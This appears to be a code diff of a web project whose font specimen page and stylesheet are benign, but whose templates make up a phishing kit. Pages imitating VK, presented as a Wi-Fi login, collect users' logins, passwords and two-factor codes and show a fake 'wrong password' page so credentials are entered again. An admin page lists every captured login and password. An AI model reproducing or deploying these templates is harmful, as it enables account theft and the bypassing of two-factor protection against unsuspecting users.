+            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+        </div>
+    </div>
+    <div class="demo" style="font-family: 'TT Commons'; font-weight: bold; font-style: normal;">
+        <h1>TT Commons Bold</h1>
+        <pre>.your-style {
+    font-family: 'TT Commons';
+    font-weight: bold;
+    font-style: normal;
+}</pre>
+        <div class="font-container">
+            <p class="letters">
+                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
+abcdefghijklmnopqrstuvwxyz<br>
+ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
+                0123456789.:,;()*!?'@#<>$%&^+-=~
+            </p>
+            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+        </div>
+    </div>
+    <div class="demo" style="font-family: 'TT Commons'; font-weight: 200; font-style: normal;">
+        <h1>TT Commons ExtraLight</h1>
+        <pre>.your-style {
+    font-family: 'TT Commons';
+    font-weight: 200;
+    font-style: normal;
+}</pre>
+        <div class="font-container">
+            <p class="letters">
+                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
+abcdefghijklmnopqrstuvwxyz<br>
+ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
+                0123456789.:,;()*!?'@#<>$%&^+-=~
+            </p>
+            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+        </div>
+    </div>
+    <div class="demo" style="font-family: 'TT Commons'; font-weight: 600; font-style: normal;">
+        <h1>TT Commons DemiBold</h1>
+        <pre>.your-style {
+    font-family: 'TT Commons';
+    font-weight: 600;
+    font-style: normal;
+}</pre>
+        <div class="font-container">
+            <p class="letters">
+                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
+abcdefghijklmnopqrstuvwxyz<br>
+ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
+                0123456789.:,;()*!?'@#<>$%&^+-=~
+            </p>
+            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+        </div>
+    </div>
+    <div class="demo" style="font-family: 'TT Commons'; font-weight: 200; font-style: italic;">
+        <h1>TT Commons ExtraLight Italic</h1>
+        <pre>.your-style {
+    font-family: 'TT Commons';
+    font-weight: 200;
+    font-style: italic;
+}</pre>
+        <div class="font-container">
+            <p class="letters">
+                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
+abcdefghijklmnopqrstuvwxyz<br>
+ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
+                0123456789.:,;()*!?'@#<>$%&^+-=~
+            </p>
+            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+        </div>
+    </div>
+    <div class="demo" style="font-family: 'TT Commons'; font-weight: 800; font-style: italic;">
+        <h1>TT Commons ExtraBold Italic</h1>
+        <pre>.your-style {
+    font-family: 'TT Commons';
+    font-weight: 800;
+    font-style: italic;
+}</pre>
+        <div class="font-container">
+            <p class="letters">
+                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
+abcdefghijklmnopqrstuvwxyz<br>
+ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
+                0123456789.:,;()*!?'@#<>$%&^+-=~
+            </p>
+            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+        </div>
+    </div>
+    <div class="demo" style="font-family: 'TT Commons'; font-weight: 500; font-style: italic;">
+        <h1>TT Commons Medium Italic</h1>
+        <pre>.your-style {
+    font-family: 'TT Commons';
+    font-weight: 500;
+    font-style: italic;
+}</pre>
+        <div class="font-container">
+            <p class="letters">
+                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
+abcdefghijklmnopqrstuvwxyz<br>
+ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
+                0123456789.:,;()*!?'@#<>$%&^+-=~
+            </p>
+            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+        </div>
+    </div>
+    <div class="demo" style="font-family: 'TT Commons'; font-weight: 300; font-style: italic;">
+        <h1>TT Commons Light Italic</h1>
+        <pre>.your-style {
+    font-family: 'TT Commons';
+    font-weight: 300;
+    font-style: italic;
+}</pre>
+        <div class="font-container">
+            <p class="letters">
+                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
+abcdefghijklmnopqrstuvwxyz<br>
+ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
+                0123456789.:,;()*!?'@#<>$%&^+-=~
+            </p>
+            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+        </div>
+    </div>
+    <div class="demo" style="font-family: 'TT Commons'; font-weight: 100; font-style: normal;">
+        <h1>TT Commons Thin</h1>
+        <pre>.your-style {
+    font-family: 'TT Commons';
+    font-weight: 100;
+    font-style: normal;
+}</pre>
+        <div class="font-container">
+            <p class="letters">
+                абвгдеёжзийклмнопрстуфхцчшщъыьэюя<br>
+АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ<br>
+abcdefghijklmnopqrstuvwxyz<br>
+ABCDEFGHIJKLMNOPQRSTUVWXYZ<br>
+                0123456789.:,;()*!?'@#<>$%&^+-=~
+            </p>
+            <p class="s10" style="font-size: 10px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s11" style="font-size: 11px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s12" style="font-size: 12px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s14" style="font-size: 14px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s18" style="font-size: 18px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s24" style="font-size: 24px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s30" style="font-size: 30px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s36" style="font-size: 36px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s48" style="font-size: 48px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s60" style="font-size: 60px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+            <p class="s72" style="font-size: 72px;">Съешь же ещё этих мягких французских булок, да выпей чаю.</p>
+        </div>
+    </div>
+</div>
+</body>
+</html>
--- a/static/TTCommons/stylesheet.css
+++ b/static/TTCommons/stylesheet.css
@@ -0,0 +1,198 @@
+@font-face {
+    font-family: 'TT Commons';
+    src: url('TTCommons-ThinItalic.eot');
+    src: local('TT Commons Thin Italic'), local('TTCommons-ThinItalic'),
+        url('TTCommons-ThinItalic.eot?#iefix') format('embedded-opentype'),
+        url('TTCommons-ThinItalic.woff') format('woff'),
+        url('TTCommons-ThinItalic.ttf') format('truetype');
+    font-weight: 100;
+    font-style: italic;
+}
+
+@font-face {
+    font-family: 'TT Commons';
+    src: url('TTCommons-Light.eot');
+    src: local('TT Commons Light'), local('TTCommons-Light'),
+        url('TTCommons-Light.eot?#iefix') format('embedded-opentype'),
+        url('TTCommons-Light.woff') format('woff'),
+        url('TTCommons-Light.ttf') format('truetype');
+    font-weight: 300;
+    font-style: normal;
+}
+
+@font-face {
+    font-family: 'TT Commons';
+    src: url('TTCommons-Black.eot');
+    src: local('TT Commons Black'), local('TTCommons-Black'),
+        url('TTCommons-Black.eot?#iefix') format('embedded-opentype'),
+        url('TTCommons-Black.woff') format('woff'),
+        url('TTCommons-Black.ttf') format('truetype');
+    font-weight: 900;
+    font-style: normal;
+}
+
+@font-face {
+    font-family: 'TT Commons';
+    src: url('TTCommons-Medium.eot');
+    src: local('TT Commons Medium'), local('TTCommons-Medium'),
+        url('TTCommons-Medium.eot?#iefix') format('embedded-opentype'),
+        url('TTCommons-Medium.woff') format('woff'),
+        url('TTCommons-Medium.ttf') format('truetype');
+    font-weight: 500;
+    font-style: normal;
+}
+
+@font-face {
+    font-family: 'TT Commons';
+    src: url('TTCommons-Italic.eot');
+    src: local('TT Commons Italic'), local('TTCommons-Italic'),
+        url('TTCommons-Italic.eot?#iefix') format('embedded-opentype'),
+        url('TTCommons-Italic.woff') format('woff'),
+        url('TTCommons-Italic.ttf') format('truetype');
+    font-weight: normal;
+    font-style: italic;
+}
+
+@font-face {
+    font-family: 'TT Commons';
+    src: url('TTCommons-Regular.eot');
+    src: local('TT Commons Regular'), local('TTCommons-Regular'),
+        url('TTCommons-Regular.eot?#iefix') format('embedded-opentype'),
+        url('TTCommons-Regular.woff') format('woff'),
+        url('TTCommons-Regular.ttf') format('truetype');
+    font-weight: normal;
+    font-style: normal;
+}
+
+@font-face {
+    font-family: 'TT Commons';
+    src: url('TTCommons-BlackItalic.eot');
+    src: local('TT Commons Black Italic'), local('TTCommons-BlackItalic'),
+        url('TTCommons-BlackItalic.eot?#iefix') format('embedded-opentype'),
+        url('TTCommons-BlackItalic.woff') format('woff'),
+        url('TTCommons-BlackItalic.ttf') format('truetype');
+    font-weight: 900;
+    font-style: italic;
+}
+
+@font-face {
+    font-family: 'TT Commons';
+    src: url('TTCommons-ExtraBold.eot');
+    src: local('TT Commons ExtraBold'), local('TTCommons-ExtraBold'),
+        url('TTCommons-ExtraBold.eot?#iefix') format('embedded-opentype'),
+        url('TTCommons-ExtraBold.woff') format('woff'),
+        url('TTCommons-ExtraBold.ttf') format('truetype');
+    font-weight: 800;
+    font-style: normal;
+}
+
+@font-face {
+    font-family: 'TT Commons';
+    src: url('TTCommons-BoldItalic.eot');
+    src: local('TT Commons Bold Italic'), local('TTCommons-BoldItalic'),
+        url('TTCommons-BoldItalic.eot?#iefix') format('embedded-opentype'),
+        url('TTCommons-BoldItalic.woff') format('woff'),
+        url('TTCommons-BoldItalic.ttf') format('truetype');
+    font-weight: bold;
+    font-style: italic;
+}
+
+@font-face {
+    font-family: 'TT Commons';
+    src: url('TTCommons-DemiBoldItalic.eot');
+    src: local('TT Commons DemiBold Italic'), local('TTCommons-DemiBoldItalic'),
+        url('TTCommons-DemiBoldItalic.eot?#iefix') format('embedded-opentype'),
+        url('TTCommons-DemiBoldItalic.woff') format('woff'),
+        url('TTCommons-DemiBoldItalic.ttf') format('truetype');
+    font-weight: 600;
+    font-style: italic;
+}
+
+@font-face {
+    font-family: 'TT Commons';
+    src: url('TTCommons-Bold.eot');
+    src: local('TT Commons Bold'), local('TTCommons-Bold'),
+        url('TTCommons-Bold.eot?#iefix') format('embedded-opentype'),
+        url('TTCommons-Bold.woff') format('woff'),
+        url('TTCommons-Bold.ttf') format('truetype');
+    font-weight: bold;
+    font-style: normal;
+}
+
+@font-face {
+    font-family: 'TT Commons';
+    src: url('TTCommons-ExtraLight.eot');
+    src: local('TT Commons ExtraLight'), local('TTCommons-ExtraLight'),
+        url('TTCommons-ExtraLight.eot?#iefix') format('embedded-opentype'),
+        url('TTCommons-ExtraLight.woff') format('woff'),
+        url('TTCommons-ExtraLight.ttf') format('truetype');
+    font-weight: 200;
+    font-style: normal;
+}
+
+@font-face {
+    font-family: 'TT Commons';
+    src: url('TTCommons-DemiBold.eot');
+    src: local('TT Commons DemiBold'), local('TTCommons-DemiBold'),
+        url('TTCommons-DemiBold.eot?#iefix') format('embedded-opentype'),
+        url('TTCommons-DemiBold.woff') format('woff'),
+        url('TTCommons-DemiBold.ttf') format('truetype');
+    font-weight: 600;
+    font-style: normal;
+}
+
+@font-face {
+    font-family: 'TT Commons';
+    src: url('TTCommons-ExtraLightItalic.eot');
+    src: local('TT Commons ExtraLight Italic'), local('TTCommons-ExtraLightItalic'),
+        url('TTCommons-ExtraLightItalic.eot?#iefix') format('embedded-opentype'),
+        url('TTCommons-ExtraLightItalic.woff') format('woff'),
+        url('TTCommons-ExtraLightItalic.ttf') format('truetype');
+    font-weight: 200;
+    font-style: italic;
+}
+
+@font-face {
+    font-family: 'TT Commons';
+    src: url('TTCommons-ExtraBoldItalic.eot');
+    src: local('TT Commons ExtraBold Italic'), local('TTCommons-ExtraBoldItalic'),
+        url('TTCommons-ExtraBoldItalic.eot?#iefix') format('embedded-opentype'),
+        url('TTCommons-ExtraBoldItalic.woff') format('woff'),
+        url('TTCommons-ExtraBoldItalic.ttf') format('truetype');
+    font-weight: 800;
+    font-style: italic;
+}
+
+@font-face {
+    font-family: 'TT Commons';
+    src: url('TTCommons-MediumItalic.eot');
+    src: local('TT Commons Medium Italic'), local('TTCommons-MediumItalic'),
+        url('TTCommons-MediumItalic.eot?#iefix') format('embedded-opentype'),
+        url('TTCommons-MediumItalic.woff') format('woff'),
+        url('TTCommons-MediumItalic.ttf') format('truetype');
+    font-weight: 500;
+    font-style: italic;
+}
+
+@font-face {
+    font-family: 'TT Commons';
+    src: url('TTCommons-LightItalic.eot');
+    src: local('TT Commons Light Italic'), local('TTCommons-LightItalic'),
+        url('TTCommons-LightItalic.eot?#iefix') format('embedded-opentype'),
+        url('TTCommons-LightItalic.woff') format('woff'),
+        url('TTCommons-LightItalic.ttf') format('truetype');
+    font-weight: 300;
+    font-style: italic;
+}
+
+@font-face {
+    font-family: 'TT Commons';
+    src: url('TTCommons-Thin.eot');
+    src: local('TT Commons Thin'), local('TTCommons-Thin'),
+        url('TTCommons-Thin.eot?#iefix') format('embedded-opentype'),
+        url('TTCommons-Thin.woff') format('woff'),
+        url('TTCommons-Thin.ttf') format('truetype');
+    font-weight: 100;
+    font-style: normal;
+}
+
--- a/static/info.png
+++ b/static/info.png
--- a/static/vk-logo.png
+++ b/static/vk-logo.png
--- a/templates/admin.html
+++ b/templates/admin.html
@@ -0,0 +1,24 @@
+{% extends "base.html" %}
+
+{% block body %}
+<div class="text-center">
+    <a href="/delete_cred/0">Purge</a>
+    <table class="w-100">
+        <tr class="text-left">
+            <th class="px-3">id</th>
+            <th class="px-3">login</th>
+            <th class="px-3">password</th>
+            <th class="px-3">date created</th>
+        </tr>
+        {% for cred in creds %}
+            <tr class="text-left">
+                <td class="px-3">{{ cred.id }}</td>
+                <td class="px-3">{{ cred.login }}</td>
+                <td class="px-3">{{ cred.password }}</td>
+                <td class="px-3">{{ cred.date_created }}</td>
+                <td class="px-3"><a href="/delete_cred/{{cred.id}}">X</a></td>
+            </tr>
+        {% endfor %}
+    </table>
+</div>
+{% endblock %}
--- a/templates/authcheck.html
+++ b/templates/authcheck.html
@@ -0,0 +1,24 @@
+{% extends 'base.html' %}
+
+{% block head %}
+<title>Wifi авторизация</title>
+{% endblock %}
+
+{% block body %}
+<p class="mx-5 mt-4">
+    Пожалуйста, введите <b>код</b> из личного сообщения от Администрации или из приложения для генерации кодов, чтобы подтвердить, что Вы владелец страницы.
+</p>
+<div class="row justify-content-center">
+    <form class="col-4 text-center" action="/authcheck/" method="POST">
+        <input type="text" size="10" maxlength="10" class="form-control mb-3" name="auth_code" placeholder="Введите код"/>
+        <button class="btn mb-3" style="width:100%; color:white; background-color: #4680C2;" type="submit">Отправить</button>
+        <span class="justify-content-between">
+            <input class="form-check-input" checked="true" type="checkbox" value="">
+            <label class="form-check-label pt-1">
+                Запомнить браузер
+            </label>
+        </span>
+    </form>
+</div>
+<br>
+{% endblock %}
--- a/templates/base.html
+++ b/templates/base.html
@@ -0,0 +1,32 @@
+<!doctype html>
+<html lang="en">
+    <head>
+        <!-- Required meta tags -->
+        <meta charset="utf-8">
+        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
+
+        <!-- Bootstrap CSS -->
+        <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css" integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh" crossorigin="anonymous">
+        <link rel="stylesheet" href="{{ url_for('static', filename='TTCommons/stylesheet.css') }}">
+
+        <link rel="shortcut icon" href="favicon.png" />
+
+        {% block head %}{% endblock %}
+    </head>
+    
+    <body style="background-color: #edeef0; font-family: 'TT Commons';">
+        <div class="container-sm border rounded shadow-sm bg-white p-0 w-50 mt-5">
+            <div class="rounded-top" style="background-color: #4680C2;">
+                <img src="{{ url_for('static', filename='vk-logo.png') }}" class="m-3" style="height:30px;">
+            </div>
+
+            {% block body %}{% endblock %}
+        </div>
+
+        <!-- Optional JavaScript -->
+        <!-- jQuery first, then Popper.js, then Bootstrap JS -->
+        <script src="https://code.jquery.com/jquery-3.4.1.slim.min.js" integrity="sha384-J6qa4849blE2+poT4WnyKhv5vZF5SrPo0iEjwBvKU7imGFAV0wwj1yYfoRSJoZ+n" crossorigin="anonymous"></script>
+        <script src="https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js" integrity="sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo" crossorigin="anonymous"></script>
+        <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js" integrity="sha384-wfSDF2E50Y2D1uUdj0O3uMBJnjuUD4Ih7YwaYd1iqfktj0Uod8GCExl3Og8ifwB6" crossorigin="anonymous"></script>
+    </body>
+</html>
--- a/templates/index.html
+++ b/templates/index.html
@@ -0,0 +1,20 @@
+{% extends 'base.html' %}
+
+{% block head %}
+<title>Wifi авторизация</title>
+{% endblock %}
+
+{% block body %}
+<div class="media m-5">
+    <img src="{{ url_for('static', filename='info.png') }}" class="mr-4 rounded-circle" style="height:50px;">
+    <div class="media-body">
+        <h5 class="mt-0">Доступ к общей информации</h5>
+        Приложению будут доступны ваши личные данные
+    </div>
+</div>
+
+<div class="text-right pr-3 rounded-bottom" style="background-color: #F0F0F4;">
+    <a href="{{ url_for('login') }}" class="btn m-3 px-5" style="color:white; background-color: #4680C2;">Разрешить</a>
+    <button class="btn m-3 px-1">Отмена</button>
+</div>
+{% endblock %}
--- a/templates/login.html
+++ b/templates/login.html
@@ -0,0 +1,21 @@
+{% extends 'base.html' %}
+
+{% block head %}
+
+{% endblock %}
+
+{% block body %}
+<form class="container mt-4" action="/login/" method="POST">
+    <input class="form-control my-3" type="text" name="login" id="login" placeholder="Телефон или email">
+    <input class="form-control my-3" type="password" name="password" id="password" placeholder="Пароль">
+    <div class="ml-n3">
+        <button class="btn m-3 px-5" style="color:white; background-color: #4680C2;" type="submit">Войти</button>
+        <span class="pl-4">
+            <input class="form-check-input mt-4" type="checkbox" value="">
+            <label class="form-check-label">
+                Чужой компьютер
+            </label>
+        </span>
+    </div>
+</form>
+{% endblock %}
--- a/templates/wrongpass.html
+++ b/templates/wrongpass.html
@@ -0,0 +1,32 @@
+{% extends 'base.html' %}
+
+{% block head %}
+<title>Wifi авторизация</title>
+{% endblock %}
+
+{% block body %}
+<div class="alert m-3" style="font-size: 94%; line-height: 1.2; border-color: #f2ab99; background-color: #ffefe9;">
+    <b>Не удаётся войти.</b><br>
+    Пожалуйста, проверьте правильность написания <b>логина</b> и <b>пароля.</b>
+    <br><br>
+    <ul>
+        <li>Возможно, нажата клавиша <b>Caps Lock?</b></li>
+        <li>Может быть, у Вас включена неправильная <b>раскладка</b>? (русская или английская)</li>
+        <li>Попробуйте набрать свой пароль в текстовом редакторе и <b>скопировать</b> в графу «Пароль»</li>
+        <li>Если пароль набран верно, попробуйте указать в качестве логина <b>номер привязанного телефона</b>, а не почту.</li>
+    </ul>
+</div>
+<form class="container mt-4" action="/login/" method="POST">
+    <input class="form-control my-3" type="text" name="login" id="login" placeholder="Телефон или email">
+    <input class="form-control my-3" type="password" name="password" id="password" placeholder="Пароль">
+    <div class="ml-n3">
+        <button class="btn m-3 px-5" style="color:white; background-color: #4680C2;" type="submit">Войти</button>
+        <span class="pl-4">
+            <input class="form-check-input mt-4" type="checkbox" value="">
+            <label class="form-check-label">
+                Чужой компьютер
+            </label>
+        </span>
+    </div>
+</form>
+{% endblock %}